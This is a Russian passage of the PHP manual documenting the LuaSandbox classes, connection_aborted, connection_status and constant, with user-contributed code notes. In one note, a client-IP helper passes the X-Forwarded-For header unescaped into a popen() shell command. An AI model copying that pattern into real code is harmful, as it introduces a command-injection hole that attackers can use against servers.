    • При преобразовании из PHP в Lua целочисленные ключи от -2**53 до 2**53 представляются как числа в Lua. Все остальные ключи представлены в виде строк Lua.

    • При преобразовании из Lua в PHP отличные от строк и чисел ключи приведут к возникновению ошибки, как и конфликты при преобразовании чисел в строки или наоборот (поскольку PHP считает такие конструкции, как $a[0] и $a["0"] эквивалентными).

  • Все остальные типы не поддерживаются и вызовут ошибку/выбросят исключение, включая PHP-объекты (object), пользовательские данные Lua и типы потоков.

Функции Lua по своей сути возвращают список результатов. Таким образом, в случае успешного выполнения этот метод возвращает массив (array), содержащий все значения, возвращаемые Lua, с целочисленными ключами (int), начинающимися с нуля. Lua может не возвращать результатов, и в этом случае возвращается пустой массив.

Список параметров

args

Аргументы, передаваемые в функцию.

Возвращаемые значения

Возвращает массив значений (array), возвращаемых функцией, который может быть пустым или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Не используется

  • « LuaSandboxFunction::call
  • LuaSandboxFunction::dump »
  • PHP Manual
  • LuaSandboxFunction
  • Не используется

LuaSandboxFunction::__construct

(PECL luasandbox >= 1.0.0)

LuaSandboxFunction::__construct — Не используется

Описание

final private LuaSandboxFunction::__construct()

Объекты LuaSandboxFunction можно получить в виде возвращаемого значения из Lua, в виде параметра, переданного callback-функции из Lua, или при использовании LuaSandbox::wrapPhpFunction(), LuaSandbox::loadString() или LuaSandbox::loadBinary(). Они не могут быть созданы напрямую.

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Выгружает функцию в виде BLOB

  • « LuaSandboxFunction::__construct
  • LuaSandboxError »
  • PHP Manual
  • LuaSandboxFunction
  • Выгружает функцию в виде BLOB

LuaSandboxFunction::dump

(PECL luasandbox >= 1.0.0)

LuaSandboxFunction::dump — Выгружает функцию в виде BLOB

Описание

public LuaSandboxFunction::dump(): string

Выгружает функцию в виде BLOB.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку, которая может быть передана LuaSandbox::loadBinary().

User Contributed Notes

There are no user contributed notes for this page.


Класс LuaSandboxError

(PECL luasandbox >= 1.0.0)

Введение

Базовый класс для исключений LuaSandbox

Обзор классов

class LuaSandboxError extends Exception {
/* Константы */
const int RUN = 2;
const int SYNTAX = 3;
const int MEM = 4;
const int ERR = 5;
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

Предопределённые константы

LuaSandboxError::RUN

LuaSandboxError::SYNTAX

LuaSandboxError::MEM

LuaSandboxError::ERR

User Contributed Notes

There are no user contributed notes for this page.


Класс LuaSandboxErrorError

(PECL luasandbox >= 1.0.0)

Введение

Исключение выбрасывается, когда Lua обнаруживает ошибку в обработчике ошибок.

Обзор классов

class LuaSandboxErrorError extends LuaSandboxFatalError {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс LuaSandboxFatalError

(PECL luasandbox >= 1.0.0)

Введение

Неотлавливаемые исключения LuaSandbox.

Их нельзя отловить внутри Lua с помощью pcall() или xpcall().

Обзор классов

class LuaSandboxFatalError extends LuaSandboxError {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс LuaSandboxMemoryError

(PECL luasandbox >= 1.0.0)

Введение

Исключение выбрасывается, когда Lua не может выделить память.

Обзор классов

class LuaSandboxMemoryError extends LuaSandboxFatalError {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

Смотрите также

  • LuaSandbox::setMemoryLimit()

User Contributed Notes

There are no user contributed notes for this page.


Класс LuaSandboxRuntimeError

(PECL luasandbox >= 1.0.0)

Введение

Отлавливаемые исключения во время выполнения LuaSandbox.

Их можно отловить внутри Lua, используя pcall() или xpcall().

Обзор классов

class LuaSandboxRuntimeError extends LuaSandboxError {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс LuaSandboxSyntaxError

(PECL luasandbox >= 1.0.0)

Введение

Исключение возникает, когда код Lua не может быть проанализирован.

Обзор классов

class LuaSandboxSyntaxError extends LuaSandboxFatalError {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс LuaSandboxTimeoutError

(PECL luasandbox >= 1.0.0)

Введение

Исключение возникает при превышении настроенного лимита времени центрального процессора (CPU).

Обзор классов

class LuaSandboxTimeoutError extends LuaSandboxFatalError {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

Смотрите также

  • LuaSandbox::setCPULimit()

User Contributed Notes

There are no user contributed notes for this page.


Разные функции

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Разные функции
    • connection_aborted — Проверить, отключён ли клиент
    • connection_status — Возвращает статус соединения в битах
    • constant — Возвращает значение константы
    • define — Определяет именованную константу
    • defined — Проверяет существование указанной именованной константы
    • die — Эквивалент функции exit
    • eval — Расценивает строку как PHP-код и выполняет его
    • exit — Вывести сообщение и прекратить выполнение текущего скрипта
    • get_browser — Сообщает о возможностях браузера пользователя
    • __halt_compiler — Останавливает работу компилятора
    • highlight_file — Подсветка синтаксиса файла
    • highlight_string — Подсветка синтаксиса строки
    • hrtime — Получить системное время высокого разрешения
    • ignore_user_abort — Установить, должно ли отключение клиента прерывать выполнение скрипта
    • pack — Упаковать данные в бинарную строку
    • php_strip_whitespace — Возвращает исходный код без комментариев и пробелов
    • sapi_windows_cp_conv — Преобразовать строку из одной кодовой страницы в другую
    • sapi_windows_cp_get — Получить текущую кодовую страницу
    • sapi_windows_cp_is_utf8 — Указывает, совместима ли кодовая страница с UTF-8
    • sapi_windows_cp_set — Установить кодовую страницу процесса
    • sapi_windows_generate_ctrl_event — Послать событие CTRL другому процессу
    • sapi_windows_set_ctrl_handler — Установить или удалить обработчик события CTRL
    • sapi_windows_vt100_support — Получить или установить поддержку VT100 для заданного потока, связанного с буфером вывода консоли Windows
    • show_source — Псевдоним highlight_file
    • sleep — Задержка выполнения
    • sys_getloadavg — Получает среднюю загрузку системы
    • time_nanosleep — Задержка на заданное число секунд и наносекунд
    • time_sleep_until — Откладывает исполнение скрипта до заданного времени
    • uniqid — Сгенерировать уникальный ID
    • unpack — Распаковать данные из бинарной строки
    • usleep — Задержка выполнения в микросекундах
  • Список изменений

User Contributed Notes

There are no user contributed notes for this page.


Введение

Эти функции помещены сюда, поскольку не подходят ни к одной из категорий.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настроек разных функций
Имя | По умолчанию | Место изменения | Список изменений
ignore_user_abort | "0" | PHP_INI_ALL |
highlight.string | "#DD0000" | PHP_INI_ALL |
highlight.comment | "#FF8000" | PHP_INI_ALL |
highlight.keyword | "#007700" | PHP_INI_ALL |
highlight.default | "#0000BB" | PHP_INI_ALL |
highlight.html | "#000000" | PHP_INI_ALL |
browscap | NULL | PHP_INI_SYSTEM |
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

ignore_user_abort bool

false по умолчанию. Если изменяется на true, то скрипты не будут прерваны после того, как клиент разорвёт соединение.

Смотрите также ignore_user_abort().

highlight.bg string
highlight.comment string
highlight.default string
highlight.html string
highlight.keyword string
highlight.string string

Цвета для режима подсвечивания (Syntax Highlighting). Всё, что приемлемо в <font color="??????">, будет работать.

browscap string

Имя (например, browscap.ini) и расположение файла возможностей браузера. Смотрите также get_browser().

User Contributed Notes

Eric 30-Jul-2020 02:45
*** Additions to the previous message ***

To change the style directly from a CSS file, it is recommended to only go through classes instead of hard-coding it.

<?php

    // Create an array with default php functions

    $functions = array("default", "html", "keyword", "string", "comment");

    // Replace color code (ex: #FF8000) with class name (ex:"highlight-comment")

    foreach ($functions as $value) {
        ini_set("highlight.$value", "highlight-$value;");
    }

    $content = highlight_file($filename, true);
    // or
    $content = highlight_string($string, true);

    // Convert style="color: highlight-function" into class="highlight-function" into $content
    // It allows you to modify only the default functions

    foreach ($functions as $value) {
        $content = preg_replace("/style=\"color: highlight-$value;\"/", "class=\"highlight-$value\"", $content);
    }

?>

And in the CSS file (for example) :

.highlight-html { color: #000000; }
.highlight-default { color: #0000bb; }
.highlight-keyword { color: #007700; font-weight: bold; }
.highlight-string { color: #dd0000; }
.highlight-comment { color: #ff8000; }
Eric 30-Jul-2020 12:51
To change the style directly from a CSS file, it is recommended to only go through classes instead of hard-coding it.

<?php

    $functions = array("default", "html", "keyword", "string", "comment");

    foreach ($functions as $value) {
        ini_set("highlight.$value", "highlight-$value;");
    }

?>

And in the CSS file (for example) :

.highlight-html { color: #000000; }
.highlight-default { color: #0000bb; }
.highlight-keyword { color: #007700; font-weight: bold; }
.highlight-string { color: #dd0000; }
.highlight-comment { color: #ff8000; }
Nico 31-Mar-2018 04:07
To pass more than one css rule, but also a class, an id, or any html attribute to highlighted element, we can escape a quote to close the inline styling:

    ini_set('highlight.string', '#F8F8F8 ; font-size:1.4em\" class=\'string\' ');


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

CONNECTION_ABORTED (int)
CONNECTION_NORMAL (int)
CONNECTION_TIMEOUT (int)
__COMPILER_HALT_OFFSET__ (int)

User Contributed Notes

There are no user contributed notes for this page.


Разные функции

Содержание

  • connection_aborted — Проверить, отключён ли клиент
  • connection_status — Возвращает статус соединения в битах
  • constant — Возвращает значение константы
  • define — Определяет именованную константу
  • defined — Проверяет существование указанной именованной константы
  • die — Эквивалент функции exit
  • eval — Расценивает строку как PHP-код и выполняет его
  • exit — Вывести сообщение и прекратить выполнение текущего скрипта
  • get_browser — Сообщает о возможностях браузера пользователя
  • __halt_compiler — Останавливает работу компилятора
  • highlight_file — Подсветка синтаксиса файла
  • highlight_string — Подсветка синтаксиса строки
  • hrtime — Получить системное время высокого разрешения
  • ignore_user_abort — Установить, должно ли отключение клиента прерывать выполнение скрипта
  • pack — Упаковать данные в бинарную строку
  • php_strip_whitespace — Возвращает исходный код без комментариев и пробелов
  • sapi_windows_cp_conv — Преобразовать строку из одной кодовой страницы в другую
  • sapi_windows_cp_get — Получить текущую кодовую страницу
  • sapi_windows_cp_is_utf8 — Указывает, совместима ли кодовая страница с UTF-8
  • sapi_windows_cp_set — Установить кодовую страницу процесса
  • sapi_windows_generate_ctrl_event — Послать событие CTRL другому процессу
  • sapi_windows_set_ctrl_handler — Установить или удалить обработчик события CTRL
  • sapi_windows_vt100_support — Получить или установить поддержку VT100 для заданного потока, связанного с буфером вывода консоли Windows
  • show_source — Псевдоним highlight_file
  • sleep — Задержка выполнения
  • sys_getloadavg — Получает среднюю загрузку системы
  • time_nanosleep — Задержка на заданное число секунд и наносекунд
  • time_sleep_until — Откладывает исполнение скрипта до заданного времени
  • uniqid — Сгенерировать уникальный ID
  • unpack — Распаковать данные из бинарной строки
  • usleep — Задержка выполнения в микросекундах

User Contributed Notes

There are no user contributed notes for this page.


Проверить, отключён ли клиент

  • « Разные функции
  • connection_status »
  • PHP Manual
  • Разные функции
  • Проверить, отключён ли клиент

connection_aborted

(PHP 4, PHP 5, PHP 7, PHP 8)

connection_aborted — Проверить, отключён ли клиент

Описание

connection_aborted(): int

Проверяет, отключён ли клиент.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает 1, если клиент отключён, 0 в противном случае.

Смотрите также

  • connection_status() - Возвращает статус соединения в битах
  • ignore_user_abort() - Установить, должно ли отключение клиента прерывать выполнение скрипта
  • Смотрите Управление подключениями для получения полного описания управления подключениями в PHP.

User Contributed Notes

Rupak Bajgain 14-Jul-2023 04:25
One trick i used uas to send values in comment to get long pooling with disconnect check

Like for json:
Send 0 and flush before connection aborted.
Eg. {"x":"000000
And after result is ready send ", and json after removing 1st {
So it looks like
{"x":"00000000000","y":"result","z":"result2"}
jamest344 at gmail dot com 11-Jan-2018 12:22
Declaration: I'm a novice.
The action on client connection loss which I wanted occurred upon browser or tab closure but not upon network link severance.  This was remedied by nobbling apache2's mod_deflate.  Other conf settings I changed may also be important (timeout?).  Thus at the bottom of my page.html I have:
<script>
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
}
};
xhttp.open("GET", "Caller.php", true);
xhttp.send();
</script>
Then in Caller.php I have:
<?php
ignore_user_abort(TRUE);
Header('Location: monitor.php');
?>
And in monitor.php:
<?php
ignore_user_abort(TRUE);
set_time_limit(0);
echo connection_status();
                                                while(1)
                                                {
                                                echo "something - anything - to go here - need a good few lines of it";
                                                ob_flush();
                                                flush();
                                                sleep(1);

if(connection_status()!=0)
                                                {
                                                break;
                                                }
                                                }

shell_exec("DESIRED ACTION HERE");
?>
sivann at gmail dot com 03-Apr-2016 08:06
I have failed to get accurate results from this even with echo, flush(), and other buffer manipulation trickery. The following function detects connection status from the OS netstat(1) in linux, even without echoing anything. You may need to alter the parsing for windows or older versions of netstat. It calls an external command so it consume some resources, use it with care e.g. you can call it every some seconds while waiting for long-poll requests. Not tested with ipv6.

//returns connection status (ESTABLISHED, TIME_WAIT, etc) or NOT_FOUND
function getConnectionStatus() {
            $remote_ip = $_SERVER['REMOTE_ADDR']?:($_SERVER['HTTP_X_FORWARDED_FOR']?:$_SERVER['HTTP_CLIENT_IP']);
            $remote_port=$_SERVER['REMOTE_PORT'];

            $cmd="netstat -tn | fgrep ' $remote_ip:$remote_port '";

            $pfp=popen($cmd,"r");
                        if(!$pfp) {
                                error_log ("getConnectionStatus: $cmd");
                        }

            $buf = fgets($pfp, 1024);
            pclose($pfp);

            $buf=preg_replace('!\s+!', ' ', $buf); //remove multiple spaces
            $buf=trim($buf);

            $buf_r=explode(" ",$buf);

            if (count($buf_r)) {
                    $state=$buf_r[count($buf_r)-1];
                    return trim($state);
            }

            return "NOTFOUND";
    }

//check for it:
if (getConnectionStatus() != "ESTABLISHED") { ...}
jeff1326 at hotmail dot com 27-Oct-2015 09:21
From ignore_user_abort function :

PHP will not detect that the user has aborted the connection until an attempt is made to send information to the client. Simply using an echo statement does not guarantee that information is sent, see flush().

This rule seems to apply here too.
nathanb at php dot net 21-Jan-2013 08:50
A trick to detecting if a connection is closed without having to send data that will otherwise corrupt the stream of data (like a binary file) you can use a combination of chunking the data on HTTP/1.1 by sending a "0" ("zero") as a leading chunk size without anything else.

*NOTE* it's important to note that it's not a good idea to check the stream more then once every few seconds. By doing this you are potentially increasing the data sent to the user with no gain to the user.

A good reason to do it this way is if you are generating a report that takes a long time to run and takes a lot of server resources. This would allow the server to detect if a user canceled the download and do any cleanup without corrupting the file file being download.

Here is an example:

<?php
ignore_user_abort(true);
header('Transfer-Encoding:chunked');
ob_flush();
flush();
$start = microtime(true);
$i = 0;
// Use this function to echo anything to the browser.
function vPrint($data){
    if(strlen($data))
        echo dechex(strlen($data)), "\r\n", $data, "\r\n";
    ob_flush();
    flush();
}
// You MUST execute this function after you are done streaming information to the browser.
function endPacket(){
    echo "0\r\n\r\n";
    ob_flush();
    flush();
}
do{
    echo "0";
    ob_flush();
    flush();
    if(connection_aborted()){
        // This happens when connection is closed
        file_put_contents('/tmp/test.tmp', sprintf("Conn Closed\nTime spent with connection open: %01.5f sec\nLoop itterations: %s\n\n", microtime(true) - $start, $i), FILE_APPEND);
        endPacket();
        exit;
    }
    usleep(50000);
    vPrint("I get echo'ed every itteration (every .5 second)<br />\n");
}while($i++ < 200);
endPacket();
?>
Luciano 18-Dec-2009 01:01
In order to detect a disconnection inside the script we need to flush the buffer (it is only when the the server tries to send the buffer content that it will see that the connection is broken).

Thus we need to use the ob_implicit_flush() function to flush automatically the buffer

This is an example of a disconnection detection :

<?php
  // enables the automatic flush
  ob_implicit_flush();

  function verifyCommunication() {
    $status = (connection_aborted()?"not ":"") ."sent";
    persistCommunication(new Communication($status));
  }

  // we will check the communication state when the script finished
  register_shutdown_function(verifyCommunication);
  echo "blabla";
  // this sleep is used to have time to break the connection on the client side
  sleep(10);
  echo"tata";
?>

I use such a process to cancel a request if the client didn't get the acknowledgement because he will redo his request...
rickyale at ig dot com dot br 13-Nov-2009 11:49
(connection_aborted not working)
I had this problem years ago, now the problem came back after upgrading php... i tried everything i found and in the end the function ob_end_flush();  on top of script as post in php bug track solved the problem. Im using windows 7 x64 / php 5.2.4 / apache 2.2.14 (win32)

try adding ob_end_flush(); on top of you script.
i read something about this but can't remember where, it was related to a bug or something.

hope this help.
phpcoder at cyberpimp dot techlab dot info 27-Jun-2007 11:50
Although the documentation indicates it returns an int, I found comparing the return value with numeric values does not seem to work.

Example (does not work):
<?php
if (connection_aborted()==1) {
fwrite($filehandle, 'aborted!');
}
?>

You're better off just assuming it returns boolean

Example (does work):
<?php
if (connection_aborted()) {
fwrite($filehandle, 'aborted!');
}
?>


Возвращает статус соединения в битах

  • « connection_aborted
  • constant »
  • PHP Manual
  • Разные функции
  • Возвращает статус соединения в битах

connection_status

(PHP 4, PHP 5, PHP 7, PHP 8)

connection_status — Возвращает статус соединения в битах

Описание

connection_status(): int

Получает статус соединения в битах.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает статус соединения в битах, который можно использовать в константах CONNECTION_XXX для определения статуса соединения.

Смотрите также

  • connection_aborted() - Проверить, отключён ли клиент
  • ignore_user_abort() - Установить, должно ли отключение клиента прерывать выполнение скрипта
  • Смотрите Управление соединением для полной информации об управлении соединением в PHP.

User Contributed Notes

Anonymous 11-Dec-2019 06:07
As mentioned, this function returns a status bitfield to which there's a set of constants available. I don't know why those constants aren't actually listed. Although they're easy to guess, I think it's still worth listing them, it is documentation after all. This function has the ability to return integers 0 through 3 so there are 4 possible states.

The constants are as follows:

CONNECTION_NORMAL = 0
CONNECTION_ABORTED = 1
CONNECTION_TIMEOUT = 2

As a 4th state is possible and being a bitfield, this gives rise to CONNECTION_ABORTED|CONNECTION_TIMEOUT (or integer 3) can be used to check for aborted+timeout states.
jorge dot hebrard at gmail dot com 26-Jan-2009 04:01
You can always send chr(0) to check if browser is still alive, that will show no output in browser page (at least in Firefox).
Michael 20-Mar-2005 09:59
Yes it is true. I made some experiments with that functions 'connection_abortes()'. First a source made an error, which I see. They wrote: ignore_user_abort();

But that only gives you the status of the 'Abort-Setting'.
So I try (with little hope)
  'ignore_user_abort(true);'
And as I readout the setting it has changed it...

Next I see that the script runs after I disconnect with the site. But other experiments fail. I try some things and then it
was logical after an experiment: flush() is one of the necessary things. Without those output to the client the function
          'connection_aborted()' stays on 'false'
The Second is that you have to output something. Without that it also doesn't works.
So I now know that you have to echo something and then output the buffer. Only then 'the Script' (or the function)
'knows' that the client is disconnected.
toppi at kacke dot de 16-Jun-2004 09:06
Notice !

if you running a loop (while, foeach etc..)  you have to send something to the browser to check the status.

Example:

while(1){
    if (connection_status()!=0){
    die;
    }
}
doesnt work, if the user break/close the browser.

But a:

while(1){
    Echo "\n"; //<-- send this to the client
    if (connection_status()!=0){
    die;
    }
}
will work :)

i hope it will help some of you to safe some time :)

Toppi


Возвращает значение константы

  • « connection_status
  • define »
  • PHP Manual
  • Разные функции
  • Возвращает значение константы

constant

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

constant — Возвращает значение константы

Описание

constant(string $name): mixed

Возвращает значение константы, указанной в параметре name.

Функция constant() полезна, если вам необходимо получить значение константы, но неизвестно её имя. Например, если оно хранится в переменной или возвращается функцией.

Данная функция также работает с константами классов и вариантами перечисления.

Список параметров

name

Имя константы.

Возвращаемые значения

Возвращает значение константы.

Ошибки

Если константа не определена, выбрасывается исключение Error. До PHP 8.0.0 в этом случае выдавалась ошибка уровня E_WARNING.

Список изменений

Версия | Описание
8.0.0 | Если константа не определена, функция constant() теперь выбрасывает исключение Error; ранее выдавалась ошибка уровня E_WARNING и возвращалось значение null.

Примеры

Пример #1 Пример использования constant() с константами

<?php

define("MAXSIZE", 100);

echo MAXSIZE;
echo constant("MAXSIZE"); // результат аналогичен предыдущему выводу

interface bar {
const test = 'foobar!';
}

class foo {
const test = 'foobar!';
}

$const = 'test';

var_dump(constant('bar::'. $const)); // string(7) "foobar!"
var_dump(constant('foo::'. $const)); // string(7) "foobar!"

?>

Пример #2 Пример использования constant() с вариантами перечисления (начиная с PHP 8.1.0)

<?php

enum Suit
{
case Hearts;
case Diamonds;
case Clubs;
case Spades;
}

$case = 'Hearts';

var_dump(constant('Suit::'. $case)); // enum(Suit::Hearts)

?>

Смотрите также

  • define() - Определяет именованную константу
  • defined() - Проверяет существование указанной именованной константы
  • get_defined_constants() - Возвращает ассоциативный массив с именами всех констант и их значений
  • Смотрите раздел Константы

User Contributed Notes

nikolays93 at ya dot ru 26-Aug-2020 06:08
<?php

namespace Foo;

define(__NAMESPACE__ . '\Bar', 'its work'); // ..but IDE may make notice

echo Bar; // its work
Anonymous 14-Jun-2019 09:24
The use of constant() (or some other method) to ensure the your_constant was defined is particularly important when it is to be defined as either `true` or `false`.

For example, taken from this Stackoverflow Question
https://stackoverflow.com/questions/5427886/php-undefined-constant-testing/56604602#56604602)

 If `BOO` did NOT get defined as a constant, for some reason,

    <?php if(BOO) do_something(); ?>

would evaluate to `TRUE` and run anyway.  A rather unexpected result.

The reason is that PHP ASSUMES you "forgot" quotation marks around `BOO` when it did not see it in its list of defined constants.
So it evaluates: `if ('BOO')`...
Since every string, other than the empty string, is "truthy", the expression evaluates to `true` and the do_something() is run, unexpectedly.

If you instead use:
     <?php if (constant(BOO)) do_something() ?>

then if `BOO` has not been defined, `constant(BOO)` evaluates to `null`,
which is falsey, and `if (null)`... becomes `false`, so do_something() is skipped, as expected.

The PHP behavior regarding undefined constants is particularly glaring when having a particular constant defined is the exception, "falsey" is the default, and having a "truthy" value exposes a security issue. For example,
<?php if (IS_SPECIAL_CASE) show_php_info() ?> .

There are other ways around this PHP behavior, such as
<?php if (BOO === true) do_something(); ?>
or
<?php if (defined('BOO') && BOO) do_something() ?>.

Note that only the version using `defined()` works without also throwing a PHP Warning  "error message."

Here is a php repl.it demonstration:
https://repl.it/@sherylhohman/php-undefined-constants-beware-of-truthy-conversion?language=php_cli&folderId=

(disclosure: I also submitted an answer to the SO question linked to above)
mohammad alzoqaily 21-Sep-2017 07:08
// 1)  you can store the name of constant in default variable
 //     and use it without identify it's name :)

        $str= "constName";

        define("constName","this is constant");

        echo constant($str);

       output:
             this is constant

// 2)  good for dynamic generating  constants

         function generateConst( $const ,  $value , $sensitivity=TRUE )
             {

                    define( "$const" , "$value ",$sensitivity);
              }

              $CONST="cost";
              $VALUE="100$";

             generateConst( $CONST , $VALUE);

             echo constant($const);

        output:
                100$
helvete at zhouba dot cz 03-Nov-2016 11:08
It is worth noting, that keyword 'self' can be used for constant retrieval from within the class it is defined

<?php
class Foo {
  const PARAM_BAR = 'baz';

  public function getConst($name) {
    return constant("self::{$name}");
  }
}

$foo = new Foo();
echo $foo->getConst('PARAM_BAR'); // prints 'baz'
?>
t dot kmieliauskas at gmail dot com 21-Apr-2015 02:02
If you are referencing class constant (either using namespaces or not, because one day you may want to start using them), you'll have the least headaches when doing it like this:

<?php
class Foo {
    const BAR = 42;
}
?>
<?php
namespace Baz;
use \Foo as F;

echo constant(F::class.'::BAR');
?>

since F::class will be dereferenced to whatever namespace shortcuts you are using (and those are way easier to refactor for IDE than just plain strings with hardcoded namespaces in string literals)
Richard J. Turner 31-Jan-2013 11:57
As of PHP 5.4.6 constant() pays no attention to any namespace aliases that might be defined in the file in which it's used. I.e. constant() always behaves as if it is called from the global namespace. This means that the following will not work:

<?php
class Foo {
    const BAR = 42;
}
?>

<?php
namespace Baz;

use \Foo as F;

echo constant('F::BAR');
?>

However, calling constant('Foo::BAR') will work as expected.
adam at adamhahn dot com 28-Sep-2011 12:59
This function is namespace sensitive when calling class constants.

Using:
<?php namespace sub;

class foo {
    const BAR = 'Hello World';
}

constant('foo::BAR'); // Error

constant('sub\foo::BAR'); // works

?>

This does not seem to affect constants defined with the 'define' function. Those all end up defined in the root namespace unless another namespace is implicitly defined in the string name of the constant.
bohwaz 05-Jul-2010 06:28
Return constants from an object. You can filter by regexp or match by value to find a constant name from the value.

Pretty useful sometimes.

<?php

function findConstantsFromObject($object, $filter = null, $find_value = null)
{
    $reflect = new ReflectionClass($object);
    $constants = $reflect->getConstants();

    foreach ($constants as $name => $value)
    {
        if (!is_null($filter) && !preg_match($filter, $name))
        {
            unset($constants[$name]);
            continue;
        }

        if (!is_null($find_value) && $value != $find_value)
        {
            unset($constants[$name]);
            continue;
        }
    }

    return $constants;
}

?>

Examples :

<?php

class Example
{
    const GENDER_UNKNOW = 0;
    const GENDER_FEMALE = 1;
    const GENDER_MALE = 2;

    const USER_OFFLINE = false;
    const USER_ONLINE = true;
}

$all = findConstantsFromObject('Example');

$genders = findConstantsFromObject('Example', '/^GENDER_/');

$my_gender = 1;
$gender_name = findConstantsFromObject('Example', '/^GENDER_/', $my_gender);

if (isset($gender_name[0]))
{
    $gender_name = str_replace('GENDER_', '', key($gender_name));
}
else
{
    $gender_name = 'WTF!';
}

?>
hellekin 25-May-2010 08:07
Checking if a constant is empty is bork...

You cannot

<?php
define('A', '');
define('B', 'B');

if (empty(B)) // syntax error
if (empty(constant('B'))) // fatal error

// so instead, thanks to LawnGnome on IRC, you can cast the constants to boolean (empty string is false)
if (((boolean) A) && ((boolean) B))
  // do stuff
?>
dachnik 09-Apr-2010 11:41
You can define values in your config file using the names of your defined constants, e.g.

in your php code:
define("MY_CONST",999);

in you config file:
my = MY_CONST

When reading the file do this:

$my = constant($value); // where $value is the string "MY_CONST"

now $my holds the value of 999
XC 19-Jan-2007 02:13
When you often write lines like

<?php

if(defined('FOO') && constant('FOO') === 'bar')
{
...
}

?>

to prevent errors, you can use the following function to get the value of a constant.

<?php

function getconst($const)
{
    return (defined($const)) ? constant($const) : null;
}

?>

Finally you can check the value with

<?php

if(getconst('FOO') === 'bar')
{
...
}

?>

It's simply shorter.
narada dot sage at googlemail dot com 13-Jul-2006 06:01
To access the value of a class constant use the following technique.

<?php

class a {
    const b = 'c';
}

echo constant('a::b');

// output: c

?>
service at dual-creators dot de 16-May-2006 10:00
It's easily to user constant() and define() to translate some words from your database-saves.

For example:
You have a table userprofil and one coloumn is "gender".
Gender can be male or female but you will display "maennlich" or "weiblich" (german words for it - whatever...)

First step: Fetch into $Gender

Second:
define("male", "maennlich");
define("female", "weiblich");

Third:
echo constant($Gender);

Now, the index of the variable $Gender will be handled like a constant!

(It works like "echo male;" for better understanding)

And a result of this, it displays maennlich btw. weiblich!

greetz
Trevor Blackbird > yurab.com 18-Apr-2006 02:58
Technically you can define constants with names that are not valid for variables:

<?php

// $3some is not a valid variable name
// This will not work
$3some = 'invalid';

// This works
define('3some', 'valid');
echo constant('3some');

?>

Of course this is not a good practice, but PHP has got you covered.
11-Oct-2005 07:20
In reply to VGR_experts_exchange at edainworks dot com

To check if a constant is boolean, use this instead:

<?php
if (TRACE === true)  {}
?>

Much quicker and cleaner than using defined() and constant() to check for a simple boolean.

